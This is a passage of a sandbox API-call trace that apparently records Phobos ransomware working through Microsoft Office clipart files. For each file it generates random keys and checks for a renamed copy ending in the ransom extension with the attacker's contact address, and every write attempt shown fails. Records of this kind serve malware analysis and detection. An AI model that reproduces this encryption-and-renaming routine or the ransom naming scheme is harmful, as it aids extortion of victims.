(in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.362] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5632) returned 1 [0150.362] CloseHandle (hObject=0x580) returned 1 [0150.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 0x220 [0150.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.362] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.364] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3444) returned 1 [0150.364] CloseHandle (hObject=0x580) returned 1 [0150.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 0x220 [0150.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.364] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.365] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=17172) returned 1 [0150.365] CloseHandle (hObject=0x580) returned 1 [0150.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 0x220 [0150.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.365] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.366] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=11532) returned 1 [0150.366] CloseHandle (hObject=0x580) returned 1 [0150.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 0x220 [0150.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.366] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.367] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=11228) returned 1 [0150.367] CloseHandle (hObject=0x580) returned 1 [0150.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 0x220 [0150.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.368] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.368] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=19328) returned 1 [0150.368] CloseHandle (hObject=0x580) returned 1 [0150.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 0x220 [0150.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.369] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.370] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4628) returned 1 [0150.370] CloseHandle (hObject=0x580) returned 1 [0150.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 0x220 [0150.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.370] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.372] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5908) returned 1 [0150.372] CloseHandle (hObject=0x580) returned 1 [0150.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 0x220 [0150.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.372] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.373] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=17728) returned 1 [0150.373] CloseHandle (hObject=0x580) returned 1 [0150.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 0x220 [0150.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.373] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.373] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=19240) returned 1 [0150.374] CloseHandle (hObject=0x580) returned 1 [0150.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 0x220 [0150.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.374] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.375] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=11540) returned 1 [0150.375] CloseHandle (hObject=0x580) returned 1 [0150.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 0x220 [0150.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.376] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.376] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4796) returned 1 [0150.376] CloseHandle (hObject=0x580) returned 1 [0150.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 0x220 [0150.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.376] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.377] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6568) returned 1 [0150.377] CloseHandle (hObject=0x580) returned 1 [0150.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 0x220 [0150.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.377] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.378] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=15832) returned 1 [0150.378] CloseHandle (hObject=0x580) returned 1 [0150.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 0x220 [0150.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.378] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.379] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=14868) returned 1 [0150.379] CloseHandle (hObject=0x580) returned 1 [0150.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 0x220 [0150.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.379] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.381] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5504) returned 1 [0150.381] CloseHandle (hObject=0x580) returned 1 [0150.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 0x220 [0150.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.382] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.386] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6320) returned 1 [0150.386] CloseHandle (hObject=0x580) returned 1 [0150.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 0x220 [0150.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 